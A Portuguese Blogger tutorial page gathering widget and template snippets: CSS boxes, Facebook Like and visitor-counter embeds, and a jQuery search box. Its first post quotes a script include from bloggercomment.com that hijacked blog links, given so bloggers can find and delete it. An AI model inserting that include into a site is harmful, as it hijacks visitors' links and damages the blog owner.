Feira wheeling
Mostrando postagens com marcador Códigos para blog. Mostrar todas as postagens
Mostrando postagens com marcador Códigos para blog. Mostrar todas as postagens

Como remover proteção de link http://mega-download-gratis.blogspot.com.br no Blogger


Esse protetor de link parece uma praga para muitos blogs,eu estava com esse problema aqui no Blog por um bom tempo, procurava no codigo do template inteiro e não achava nada que podia ser a causa disso. Procurava em todos os scripts e não via nada suspeito, já estava pensando em trocar o template quando fui pesquisar sobre o problema na net, e achei a solução em um fórum do google.

Então resolvi postar aqui para ajudar outros blogueiros que também passam por esse problema:

Solução:

1-Faça um backup do modelo/template do seu blogger
2- Edite o HTML / Modelo do seu blogger
3- Aperte ctrl+F , localize e apague a linha a seguir:

 <script src='http://bloggercomment.com/allowComments.js'/>

Como colocar o botão do Facebook no Blogger

A vantagem de utilizar o botão "Gosto" (ou "Like", em inglês e "Curtir", em português de Portugal) é que sempre que alguém clica no botão será feita uma atualização do status no mural do perfil no Facebook com o link do post em questão. Os amigos deste perfil também irão receber esta atualização. Para colocar este botão, tal como o botão do Twitter, não é necessário ter conta no Facebook.

Integrando o botão do Facebook no Blogger:
O botão "Gosto" pode ser inserido em qualquer parte. Recomendo que seja colocado no final do post, é o local onde o leitor irá realizar a próxima ação após a leitura, mas isto não é uma regra. Antes de fazer esta alteração, faça um backup completo do template do blog.

Entre no painel do Blogger, clique em design e, depois, em editar HTML. Marque a caixa expandir modelos de widgets e procure por:

Copie e cole logo abaixo do código anterior:

Como inserir códigos CSS no BLOGGER

css_thumb[3]CSS, como utilizá-lo…

Se você está começando ou aprendendo a utilizar códigos CSS, neste artigo iremos dar algumas dicas para você utilizar esta linguagem da maneira mais fácil no seu Blogger.
Help
CSS (Casdading Style Sheets) ou Folha de Estilo em Cascata, para quem não sabe, é uma linguagem similar e complementar ao HTML, que controla fontes, cores, margens, linhas, alturas, larguras, imagens de fundo, posicionamentos, ou seja, todo o layout de um site. (leia: O que é CSS?)
Para exemplificar nosso artigo, iremos apresentar algumas de caixas coloridas para você destacar partes do texto de um post. São exemplos bem simples apenas para elucidar nosso tutorial. Códigos CSS são muito poderosos e estão relacionados com todo visual de um site, como cores, fontes, margens, imagens, etc… Portanto, é bem legal você se aprofundar mais neste assunto, assim como em HTML, que é a base da visualização nos navegadores da internet…

Adicionar CSS no painel do Blogger

Entre na página administrativa do seu Blogger, acessando www.blogger.com (Entre com o seu email e senha do Google. Depois entre no blog que deseja alterar).
Atenção: Antes de fazer qualquer modificação no modelo e nas páginas HTML, faça um backup completo primeiro, leia: Cuidados quando for editar seu modelo HTML no novo painel ...
No menu lateral escolha [Modelo] e clique no botão [Personalizar].
image
No menu lateral da página do Designer de modelo do Blogger clique em [Avançado]. Depois no menu ao lado, clique em [Adicionar CSS].
image
Observe que iremos trabalhar com seletores denominados de classes (class). Um seletor tipo class deve ser sempre precedido de um ponto (exemplo .caixa_azul).
Agora copie o código abaixo:
accepted_48
/*---- Classe para definir uma caixa azul vertical ---*/
.caixa_azul {
margin:5px 10px 5px 20px;
border-left:3px solid #A5C9FF;
border-right:3px solid #A5C9FF;
padding:5px 5px 5px 5px;
background: #EBF4FF;
}
/*---- Classe para definir uma caixa vermelha horizontal ---*/
.caixa_vermelha {
margin:5px 5px 5px 5px;
border-top:3px solid #DD3C10;
border-bottom:3px solid #DD3C10;
padding:5px 5px 5px 5px;
background: #FFEBE8;
}
/*---- Classe para definir uma caixa laranja ---*/
.caixa_laranja {
margin:5px 10px 5px 10px;
border:3px solid #FF7800;
padding:5px 5px 5px 5px;
background: #FCDCB8;
}
Cole no campo [Adicionar CSS personalizado]. Depois clique no botão [Aplicar ao blog] para salvar…
image
Depois de salvo, clique no link [Voltar para o Blogger].
image

Testando o código CSS

Para testar o código CSS adicionado, vá para [Layout] no menu lateral do painel administrativo do Blogger e clique no link [Adicionar um Gadget].
image
Escolha [HTML/JavaScript].
image
Copie o código abaixo a seguir…
<div class="caixa_azul"> Testando a CAIXA AZUL vertical </div>
<p></p>
<div class="caixa_vermelha"> Testando a CAIXA VERMELHA horizontal </div>
<p></p>
<div class="caixa_laranja"> Testando a CAIXA VERMELHA horizontal </div>
Cole no campo [Conteúdo] e clique no botão [Salvar].
image
Visualize o blog e observe se o Gadget que você adicionou abre coma as caixas que acrescentamos em CSS…
image
Se tudo estiver correto, abra a novamente a janela do Gadget e clique no botão [Excluir], pois o Widget apenas serviu para testarmos o código CSS. Entretanto, você poderá utilizar suas caixas coloridas nos gadgets quando achar necessário….
image

Utilizando o CSS nas postagens

Para acrescentar os códigos CSS do nosso exemplo nas postagens, abra o editor HTML do Blogger ou do Windows Live Writer e digite o código abaixo:
<div class=”NOME DA CLASSE QUE VOCÊ ADICIONOU”> TEXTO </div>
Veja nossos exemplos a seguir:
<div class="caixa_azul">
<p>Testando a caixa azul vertical</p>
<p>Testando a caixa azul vertical</p>
  <p>Testando a caixa azul vertical</p>
</div>
Veja como fica no post:
Testando a caixa azul vertical
Testando a caixa azul vertical
Testando a caixa azul vertical
Outro exemplo utilizando nosso CSS:
<div class="caixa_vermelha">
ATENÇÃO: Isto é uma caixa VERMELHA!
</div>
Veja como fica no post:
ATENÇÃO: Isto é uma caixa VERMELHA!
Finalizando nossos exemplo, vamos utilizar a caixa laranja
<div class="caixa_laranja">
<b>A nossa caixa laranja serve para destacar um texto!</b>
</div>
Veja como fica no post:
A nossa caixa laranja serve para destacar um texto!
Com estas dicas dá para você ter uma idéia bem legal de como utilizar CSS no seu Blogger. Para você se aprofundar mais em programação, recomendamos que faça os cursos de HTML (Curso de HTML5) e CSS (Curso de Dreamweaver CS5).
No artigo Como criar um menu drop-down (multinível) no Blogger utilizamos código CSS para a criação do menu, servindo como um exemplo mais elaborado de como se utilizar programação com o Blogger…
Para criar códigos e testá-los, você também poderá utilizar um simulador online (leia: Simulador CSS e HTML – Ótimo para iniciantes… --- muito bom!)
Agora é com você. Bons estudos e bons trabalhos…
byALF

Caixa de texto

<textarea name="textarea3" style="width:140px; height:40px" onfocus="this.select()" onmouseover="this.focus()"><br />
<textarea style="COLOR: rgb(0,0,0); BACKGROUND-COLOR: #ffffff" rows="5" cols="40">ESCREVA AQUI O SEU TEXTO

Visitantes Online

<!--************CODE GEOMAP************--><br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php?compte=494787864115"  target="_blank"><img src="http://geoloc5.geovisite.com/private/geomap.php?compte=494787864115" border="0" alt="animais de estimação" /></a><br /><br />
<a href="http://www.geovisite.com/pt/">contador web gratis</a><br />
<!--************END CODE GEOMAP************--><br />
<!--************CODE GEOUSER************--><br />
<script type="text/javascript" src="http://geoloc5.geovisite.com/private/geouser.js?compte=494787864115"></script><br />
<noscript><br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php"  target="_blank"><img src="http://geoloc5.geovisite.com/private/geouser.php?compte=494787864115" border="0" alt="animais de estimação"></a><br />
<br>Please do not change this code for a perfect fonctionality of your counter<br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php">animais de estimação</a><br />
</noscript><br />
<br><a href="http://www.geovisite.com/pt/">contador visitante</a><br />
<!--************END CODE GEOUSER************--><br />

Contador de Visitas (Planeta Girando)

<!--************CODE GEOTOOLBAR************--><br />
<script type="text/javascript" src="http://geoloc5.geovisite.com/private/geotoolbar.js?compte=494787864115"></script><br />
<noscript><br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php"  target="_blank"><img src="http://geoloc5.geovisite.com/private/geotoolbar.php?compte=494787864115" border="0" alt="animais de estimação"></a><br />
<br>Please do not change this code for a perfect fonctionality of your counter<br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php">animais de estimação</a><br />
</noscript><br />
<br><a href="http://www.geovisite.com/pt/">contador gratuito</a><br />
<!--************END CODE GEOTOOLBAR************--><br />

Contador de Visitas (Mapa Mundi, Online com chat)

<!--************CODE GEOCHAT************--><br />
<script type="text/javascript" src="http://geoloc5.geovisite.com/private/geochat.js?compte=494787864115"></script><br />
<noscript><br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php"  target="_blank"><img src="http://geoloc5.geovisite.com/private/geochat.php?compte=494787864115" border="0" alt="animais de estimação"></a><br />
<br>Please do not change this code for a perfect fonctionality of your counter<br />
<a href="http://www.geovisite.com/pt/directory/lazeres_animais-de-estimacao.php">animais de estimação</a><br />
</noscript><br />
<br><a href="http://www.geovisite.com/pt/">contador visitas blog</a><br />
<!--************END CODE GEOCHAT************--><br />

Código do botão "curtir" do facebook

Código do botão "curtir" do facebook para add no final de cada postagem do blog:

<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fnacontramaodaalienacao.blogspot.com&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe>

Abrir link de um texto em nova aba
<a href="URL DO LINK" target="_blank">TEXTO</a>
Substituir URL DO LINK pelo endereço a ser direcionado e TEXTO pela palavra ou frase que irá receber o link.  Usaremos como exemplo o próprio Dicas Blogger :
<a href="http://dicasblogger.blogspot.com/" target="_blank">Dicas Blogger</a>
Abrir imagem linkada em nova aba
<a href="URL DO LINK" target="_blank">
<img title="FRASE" alt="NOME" src="URL DA IMAGEM" /></a>
URL DO LINK substitua pelo endereço do link vinculado à imagem;
FRASE troque pela frase que irá aparecer quando alguém passar o mouse sobre a imagem;
NOME substitua pelo título da imagem;
URL DA IMAGEM substitua pelo endereço da imagem.

POSTAGEM EM ÁUDIO:
<object type=”application/x-shockwave-flash” data=”http://www.ferramentasblog.com.br/audio/dewplayer/dewplayer-bubble.swf” width=”250″ height=”65″ id=”dewplayerbub” name=”dewplayerbub”>
<param name=”movie” value=”http://www.ferramentasblog.com.br/audio/dewplayer/dewplayer-bubble.swf” />
<param name=”flashvars” value=”mp3=
URL_do_ARQUIVO_MP3” />
</object>

Caixa de Busca Estilo Google com Botão Limpar

caixa+de+busca+estilo+google Caixa de Busca Estilo Google com Botão Limpar
Olá Queridos Leitores, hoje iremos aprender como inserir uma caixa de pesquisa/busca no Blog, ela tem o estilo Google e ainda tem o botão de limpar o que foi digitado. O widget é muito bom, pensei em colocar até reconhecimento de voz, mas acho que iria ficar um pouco estranho. O Widget é prático, bonito, elegante e fácil de inserir. Não ter uma caixa de busca no nosso blog é muito ruim para os leitores, eles querem achar algo mas não há nada que faça-os poder achar, muitos deles não têm paciência de ficar navegando entre os posts para achar algo, eles saem do blog rapidamente e isso só fez aumentar a taxa de rejeição do seu blog, e a solução pode ser essa. Vejam a Demonstração: http://demo3.blogandocomfacilidade.com/

Vamos ao Tutorial:
1º – Acesse o painel do seu blog e clique na Guia Modelo.
2º – Em seguida, clique no Botão Editar HTML.
3º – Depois segure as teclas CTRL+F e procure por:
]]></b:skin>
4º – E Acima dele cole o seguinte estilo:
#CaixaBuscar {margin:10px;}
#campo {float: left;width: 170px;padding-left: 8px;height: 29px;line-height: 18px;font-family: arial, sans-serif;font-size: 14px;color: #333;background: white;border: solid 1px #D9D9D9;border-top: solid 1px silver;border-right: none;outline: none;}
#campo-apagar {float:left;width:16px;height:29px;line-height:27px;margin-right:15px;padding:0 10px 0 10px;font-family: "Lucida Sans", "Lucida Sans Unicode",sans-serif;font-size:22px;background: #fff;border:solid 1px #d9d9d9;border-top:solid 1px #c0c0c0;border-left:none;}
#campo-apagar #x {color:#A1B9ED;cursor:pointer;display:none;}
#campo-apagar #x:hover {color:#36c;}
#buscar:active {-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);}
#buscar {cursor:pointer;width:70px;height: 31px;line-height:0;font-size:0;text-indent:-999px;color: transparent;background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4A8V5s59yNvMKfaYkM1me5XwJEUlyLhiNqVp61G0J-feK35pnk6-FY7aTSHYMTxoIG0jWYBzYwSUFKmLCkjJIcMW7si7vpN6dIYi9ZqXdhvU9CvKY9NMhN4NAfNItiJz41oYzHKPKnnyw/s1600/ico-search.png) no-repeat #4d90fe center;border: 1px solid #3079ED;-moz-border-radius: 2px;-webkit-border-radius: 2px;}
#buscar:hover {background-color: #4088FD;border: 1px solid #2F5BB7;}
.fclear {clear:both}

5º – Depois segure novamente as teclas CTRL+F e procure por:
</head>
6º – E Acima dele cole o seguinte código:
<script src='http://code.jquery.com/jquery-1.6.1.min.js' type='text/javascript'/>
<script type='text/javascript'>
$().ready(function() {
// if text input campo value is not empty show the &quot;X&quot; button
$(&quot;#campo&quot;).keyup(function() {
$(&quot;#x&quot;).fadeIn();
if ($.trim($(&quot;#campo&quot;).val()) == &quot;&quot;) {
$(&quot;#x&quot;).fadeOut();
}
});
// on click of &quot;X&quot;, campo-apagar input campo value and hide &quot;X&quot;
$(&quot;#x&quot;).click(function() {
$(&quot;#campo&quot;).val(&quot;&quot;);
$(this).hide();
});
});
</script>

7º – Em seguida, clique em Salvar Modelo.
8º – Agora clique na Guia Layout.
9º – Na lateral do blog clique em Adicionar gadget.
10º – Depois selecione o Gadget tipo HTML/Javascript.
11º – Dentro do conteúdo do gadget cole o seguinte código:
<div id="CaixaBuscar">
<form name="SUYB" action="/search" method="get">
<input type="text" id="campo" id="s" name="q"/>
<div id="campo-apagar"><span id="x">x</span></div>
<input id="buscar" type="submit" name="submit" value="Search" /></form>
</div>

12º – Depois clique em Salvar.